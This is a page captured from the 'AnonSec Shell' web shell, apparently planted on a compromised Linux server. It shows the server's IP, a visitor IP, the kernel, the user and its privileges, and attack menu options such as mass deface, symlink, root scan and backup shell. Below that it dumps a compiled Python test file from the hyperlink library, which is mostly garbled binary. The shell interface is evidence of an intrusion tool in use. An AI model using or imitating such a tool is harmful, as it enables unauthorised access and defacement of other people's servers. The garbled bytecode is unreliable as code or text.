AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/hyperlink/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/hyperlink/test/__pycache__/common.cpython-312.pyc
�

G�_�	��T�ddlmZmZmZmZddlmZGd�de�ZGd�de�Z	y)�)�Any�Callable�Optional�Type)�TestCasec��eZdZdZ	dd�Zy)�HyperlinkTestCaseznThis type mostly exists to provide a backwards-compatible
    assertRaises method for Python 2.6 testing.
    Nc�b�t||�}|�|S|5||i|��ddd�y#1swYyxYw)a�Fail unless an exception of class expected_exception is raised
        by callableObj when invoked with arguments args and keyword
        arguments kwargs. If a different type of exception is
        raised, it will not be caught, and the test case will be
        deemed to have suffered an error, exactly as for an
        unexpected exception.

        If called with callableObj omitted or None, will return a
        context object used like this::

             with self.assertRaises(SomeException):
                 do_something()

        The context manager keeps a reference to the exception as
        the 'exception' attribute. This allows you to inspect the
        exception after the assertion::

            with self.assertRaises(SomeException) as cm:
                do_something()
            the_exception = cm.exception
            self.assertEqual(the_exception.error_code, 3)
        N)�_AssertRaisesContext)�self�expected_exception�callableObj�args�kwargs�contexts      �7/usr/lib/python3/dist-packages/hyperlink/test/common.py�assertRaiseszHyperlinkTestCase.assertRaises
sA��<'�'9�4�@�����N�
�	)���(��(�	)�	)�	)�s�	%�.�N)�__name__�
__module__�__qualname__�__doc__r��rr	r	s����")rr	c�"�eZdZdZd�Zd�Zd�Zy)rzCA context manager used to implement HyperlinkTestCase.assertRaises.c�4�||_|j|_yr)�expected�failureException)rr�	test_cases   r�__init__z_AssertRaisesContext.__init__2s�� ��
� )� :� :��rc��|Srr)rs r�	__enter__z_AssertRaisesContext.__enter__7s���rc��|�*|jj}|j|�d���t||j�sy||_y)Nz not raisedFT)rrr�
issubclass�	exception)r�exc_type�	exc_value�tb�exc_names     r�__exit__z_AssertRaisesContext.__exit__;sF�����}�}�-�-�H��'�'�8�(E�F�F��(�D�M�M�2��"���rN)rrrrr r"r*rrrrr/s��I�;�
�	rrN)
�typingrrrr�unittestrr	�objectrrrr�<module>r.s'��0�0��')��')�T�6�r

Anon7 - 2022
AnonSec Team